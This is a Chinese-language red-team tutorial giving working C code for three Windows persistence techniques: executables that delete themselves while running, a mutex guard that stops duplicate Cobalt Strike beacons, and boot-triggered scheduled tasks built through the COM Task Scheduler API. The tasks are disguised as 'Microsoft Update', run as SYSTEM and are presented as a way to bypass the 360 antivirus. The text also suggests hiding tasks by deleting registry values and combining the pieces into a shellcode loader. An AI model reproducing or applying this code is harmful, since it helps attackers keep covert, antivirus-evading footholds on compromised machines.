Window向之權限維持三小技
Window向之權限維持三小技
0x0 前言
本文主要以簡單、直接的代碼方式向讀者呈現了一些權限維持的功能代碼方面的小技巧。這些小技巧也許很多人(Ex:myself)不知道,但又有可能對此實現有所需要。為了解決這個問題,筆者通過瀏覽一些資料結合自己的實踐,初步整理出這三個功能小技巧,后續可用于穿插于Window權限維持的具體實現程序。
0x1 文件自刪除
自刪除有兩個境界:
1.運行完刪除自身文件。
2.運行時刪除自身文件(*),繼續運行。
0x1.1 運行end
原理:
可執行文件進程新開一個cmd 進程執行del 刪除可執行文件自身路徑,這個執行成功的前提是,當執行command刪除命令時,可執行文件進程要先結束,一般來說,可以通過掛起該cmd進程子線程,然后在可執行文件技術部分的最后加入喚醒操作,然后可執行文件進程迅速結束,因為喚醒+執行是慢于進程結束的時間的,一般都可以成功。
缺點:
1.編寫復雜,行為可疑
2.通用性差,也不穩定
3.對紅隊來說,沒啥意義,beacon本身就是loop狀態的。
代碼實現:
#include
#include
int main()
{
// 1.Get current path
wchar_t exePath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, exePath, MAX_PATH);
// 2.Craft command
wchar_t command[128] = { 0 };
wsprintf(command, L"cmd /k del %s", exePath);
printf("Execute Command:%ls", command);
// 3.Suspend main thread of cmd process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
BOOL flag = CreateProcess(
NULL,
command,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW | CREATE_SUSPENDED,// key paramter
NULL,
NULL,
&si,
&pi);
if (!flag) {
printf("CreateProcess Error:%d", GetLastError());
exit(0);
}
// 4.Optimize the execute moment
SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS);
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetPriorityClass(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// 5.Wake up thread
if (!ResumeThread(pi.hThread))
{
printf("ResumeThread %d", GetLastError());
}
printf("%s\d", "Running Done! check condition by yourself!");
//getchar();
}
效果:
執行完畢,程序自動刪除。

0x1.2 運行ing
下載文件測試工具filetest
FileTest application
根據@jonasLyk 的思路
1.With delete權限打開運行中的文件,然后修改FileRenameInformation的重命名屬性值為ADS流名稱,這個方式能重命名執行中的文件。
2.重新打開文件,設置FileDispositionInfo文件屬性delete為true,這樣關閉文件句柄的時候就會自動刪除該文件。
3.因為文件名稱被修改,所以第二步能繞過鎖定成功執行刪除掉宿主文件,ADS流文件也會隨之消失。

具體過程如圖:https://pbs.twimg.com/media/Er2W8NFXIAAWZ5a?format=png&name=4096x4096
代碼參考:https://github.com/LloydLabs/delete-self-poc
簡化了一些細節,封裝為一個函數便以移植,代碼實現:
#pragma comment(lib, "Shlwapi.lib")
#include
#include
#include
void autoDelete() {
WCHAR wcPath[MAX_PATH];
RtlSecureZeroMemory(wcPath, sizeof(wcPath));
if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) {
return;
};
HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hCurrent == INVALID_HANDLE_VALUE) {
return;
}
// rename handle
FILE_RENAME_INFO fRename;
RtlSecureZeroMemory(&fRename, sizeof(fRename));
LPWSTR lpwStream = (wchar_t*)L":wtforz";
fRename.FileNameLength = sizeof(lpwStream);
RtlCopyMemory(fRename.FileName, lpwStream, sizeof(lpwStream));
BOOL flag = SetFileInformationByHandle(hCurrent, FileRenameInfo, &fRename, sizeof(fRename) + sizeof(lpwStream));
if (!flag) {
return;
}
CloseHandle(hCurrent);
hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hCurrent == INVALID_HANDLE_VALUE) {
return;
}
// set FileDispositionInfo.delete attribute True
FILE_DISPOSITION_INFO fDelete;
RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
fDelete.DeleteFile = TRUE;
BOOL _flag = SetFileInformationByHandle(hCurrent, FileDispositionInfo, &fDelete, sizeof(fDelete));
if (!_flag) {
return;
}
// delete file
CloseHandle(hCurrent);
if (!PathFileExists(wcPath)) {
#ifdef _DEBUG
printf("[LOG] - %ls", L"Success, Done!");
#endif // DEBUG
return;
}
}
int wmain(int argc, wchar_t * argv)
{
autoDelete();
getchar();
}
編譯的時候選擇Debug模式,效果如下:

后面的getchar()一樣會繼續執行。
這種思路可以說很新穎,而且很有用,但是具體的原理,筆者也還尚未清楚,只是說這樣測試能夠達到預期效果,作為一個Script Kid已經滿足了。師傅們可以去嘗試分析下window的鎖定機制,然后找找其他方式來達到這種效果,或者分析下這種方式的缺點。
補充下這一點相關思路:
C#版本的實現:https://github.com/klezVirus/SharpSelfDelete
GO的話建議封裝成一個庫,直接調用,ex: winexe.delete()如果這個點有其他的實現方法,歡迎師傅們找我一起交流(學爆)。
0x2 互斥體
0x2.1 作用
創建互斥體的常見作用就是用于防止程序多開,很多程序都會有這個特點。
回到我們權限維持上面,加載器如果沒做互斥體的話,那么單一進程可能會被循環啟動,導致上線很多重復的Beacon,比如計劃任務執行間隔短、用戶多次點擊,都會導致出現多個Beacon進程,這樣會增加加載器的暴露概率。
0x2.2 API函數
使用互斥體,Window提供了兩個API函數:
CreateMutexA
Creates or opens a named or unnamed mutex object.
To specify an access mask for the object, use the CreateMutexEx function.
HANDLE CreateMutexA( [in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes, [in] BOOL bInitialOwner, [in, optional] LPCSTR lpName );
用于創建或者打開一個命名/未命名的mutex對象,一般用法
CreateMutex(NULL, False, "互斥體名稱")
第一個參數lpMutexAttributes 為 NULL,則互斥對象將獲得一個默認的安全描述符。互斥對象的默認安全描述符中的 acl 來自創建者的主令牌或模擬令牌。
第二個參數bInitialOwner 如果此值為 TRUE,且調用方創建了互斥對象,則調用線程獲得互斥對象的初始所有權。否則,調用線程不會獲得互斥對象的所有權。若要確定調用方是否創建了互斥對象,請參見 Return Values 部分。
第三個參數lpName,互斥對象的名稱,名稱比較區分大小寫,名稱可以有“ Global”或“ Local”前綴,以在全局或會話命名空間中顯式創建對象。名稱的其余部分可以包含除反斜杠字符()以外的任何字符。如果 lpName 匹配現有事件、信號量、可移植計時器、作業或文件映射對象的名稱,則函數失敗,GetLastError 函數返回 ERROR invalid handle。這是因為這些對象共享相同的命名空間。
Return Value
如果函數成功,返回值是新創建的互斥對象的句柄。
如果函數失敗,返回值為 NULL。要獲得擴展的錯誤信息,調用 GetLastError。
OpenMutexW
Opens an existing named mutex object.
HANDLE OpenMutexW( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] LPCWSTR lpName );
用于打開一個已經存在已命名的互斥體對象,一般用法:
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "互斥體名稱");
第一個參數dwDesiredAccess 進程訪問權限
第二個參數bInheritHandle 如果此值為 TRUE,則此進程創建的進程將繼承此句柄。否則,進程不會繼承此句柄。
第三個參數lpName互斥對象的名稱。名稱比較區分大小寫
Return Value
如果函數成功,返回值是互斥對象的句柄。
如果函數失敗,返回值為 NULL。要獲得擴展的錯誤信息,調用 GetLastError。
如果命名的互斥體不存在,則函數失敗,GetLastError 返回 ERROR file not _ found。
0x2.3 代碼實現
封裝為一個checkMutex的函數,當然這里互斥體的名稱可以考慮作為參數來傳遞,名稱可以考慮復雜和長點。
#include
#include
// check mutex object status
bool checkMutex() {
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex");
if (hMutex == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex");
}
else {
#ifdef _DEBUG
MessageBox(NULL, "Program is already running", 0, 0);
#endif // DEBUG
exit(0);
}
return TRUE;
}
int wmain(int argc, wchar_t* argv) {
checkMutex();
printf("Program is running ......");
system("pause");
return 0;
}
打開兩個程序,觀察效果:

優化思路:
有時候我們覺得一個進程太少,為了解決這個情況,會考慮允許啟動兩個進程。
bool checkMutex() {
HANDLE hMutex1 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex1");
if (hMutex1 == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex1");
return TRUE;
}
HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex2");
if (hMutex2 == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex2");
return TRUE;
}
else {
#ifdef _DEBUG
MessageBox(NULL, "Program is already running", 0, 0);
#endif // DEBUG
exit(0);
}
}

進一步可以優化控制成動態獲取進程同時執行的數目,比如設置成讀取某個目錄下的文件內容、環境變量的值,訪問某個高信譽的網站提取留言內容等等多種手段。
0x3 重啟上線
重啟上線有很多種思路,比如放入啟動目錄、注冊服務、劫持DLL等等...
但是重啟上線ByPass 360 可能存在一些小困難(實際上非常簡單,淺顯的方法試試就知道),這里以大家都熟知的計劃任務來達到Bypass 360的目的。
WIndow計劃任務的功能用于定時執行執行一些任務,打開控制面板\系統和安全\管理工具,找到任務計劃程序

重啟上線的話可以選擇觸發器: 計算機啟動時(H)

在GUI界面上操作,360是不攔截的,可以正常添加計劃任務Hello,不過我測試的時候發現,這個因為卡在開啟啟動邊界,可執行文件不會運行成功,需要增加延時時間再執行。
0x3.1 常規用法
比較常規的用法就是利用schtasks.exe
查看用法Help
schtasks /Create /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
一般用法形式:
schtasks /create /tn PentestLab /tr "cmd /c whoami" /sc onstart /ru System
/RU 指定運行權限

/TN 指定任務名稱,一般用名稱

/TR 運行程序路徑

/sc 指定計劃任務頻率,主要5個情況可用,ONSTART ONIDLE ONLOGON DAILY MINUTE

/delay 延遲任務執行時間
常用命令:
# 計算機啟動后,延遲1分鐘執行,這個時間實際上可以放長點。 schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onstart /ru System /delay 0001:00 # 閑置30分鐘后執行 schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onidle /i 30 /ru System # 任意用戶登錄后執行 schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onlogon /ru System # 每天晚上3點執行 chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc daily /st 03:00 # 每隔20分鐘執行一次 chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc minute /mo 20
上面這些命令,在Cobalt Strike命令行下執行,360會直接Ban掉的,一般很少使用,主要是了解下功能用于后面的底層調用代碼實現。
0x3.2 代碼實現
代碼參考:https://docs.microsoft.com/en-us/windows/win32/taskschd/boot-trigger-example--c---
筆者主要做了一些改動和參數定義,關于優化和CS插件的具體實現還是希望各位去鍛煉下動手能力。
/********************************************************************
This sample schedules a task to start Notepad.exe 30 seconds after
the system is started.
********************************************************************/
#define _WIN32_DCOM
#include
#include
#include
#include
// Include the task header file.
#include
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain()
{
// ------------------------------------------------------
// Initialize COM.
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Window Microsoft Update";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = L"cmd /c whoami";
// Create an instance of the Task Service.
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
// If the same task exists, remove it.
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
// Create the task builder object to create the task.
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release(); // COM clean up. Pointer is no longer used.
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(_bstr_t(L"xq17"));
pRegInfo->Release();
// Create the settings for the task
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
printf("Cannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
// Add the boot trigger to the task.
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
pTriggerCollection->Release();
IBootTrigger* pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**)&pBootTrigger);
pTrigger->Release();
hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));
// Delay the task to start 30 seconds after system start. *
hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
pBootTrigger->Release();
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection* pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions(&pActionCollection);
// Create the action, specifying it as an executable action.
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
IExecAction* pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
// Set the path of the executable
hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
pExecAction->Release();
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask* pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
printf(" Success! Task successfully registered. ");
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
使用效果:
如果直接執行命令會被360攔截。

編譯的release版本360無提示秒過。

查看計劃任務列表,可以看到成功Bypass 360添加。

關于這個重啟上線的思路有非常多,但是還是希望大家根據網上的想法去動手嘗試,成功后不建議直接傳播現成利用,emmm,意義不大。至于計劃任務除了進一步優化代碼的可用性之外,還可以考慮進一步實現計劃任務的隱藏,比如刪除注冊表的index值來隱藏,win7以上的系統則可以進一步刪除sid來實現完全隱藏,這些在Github上也有代碼實現,但是這部分還是不夠簡單易用,普適性也可能在一些系統出現問題,還有就是不夠全面,emmm,自己動手豐衣足食。
0x4 總結
本文內容較為簡單直接,主要是圍繞三個常用的小技巧來展開介紹,這三個小技巧在本文尚未chain起來,讀者可以結合實際的攻防場景,將其融合定制出個性鮮明的ShellCodeLoader,于此同時,讀者也可以嘗試根據這三個小技巧進行更為深入的學習和利用拓展,這也是筆者后續的一個方向,但是還是希望集思廣益,共同進步。
0x5 參考鏈接
?Self Deleting Executables
ring0層下實現的文件強制刪除
C語言防止程序多開:創建互斥體
Windows計劃任務的進階
Persistence – Scheduled Tasks
windows 計劃任務隱藏新姿勢分享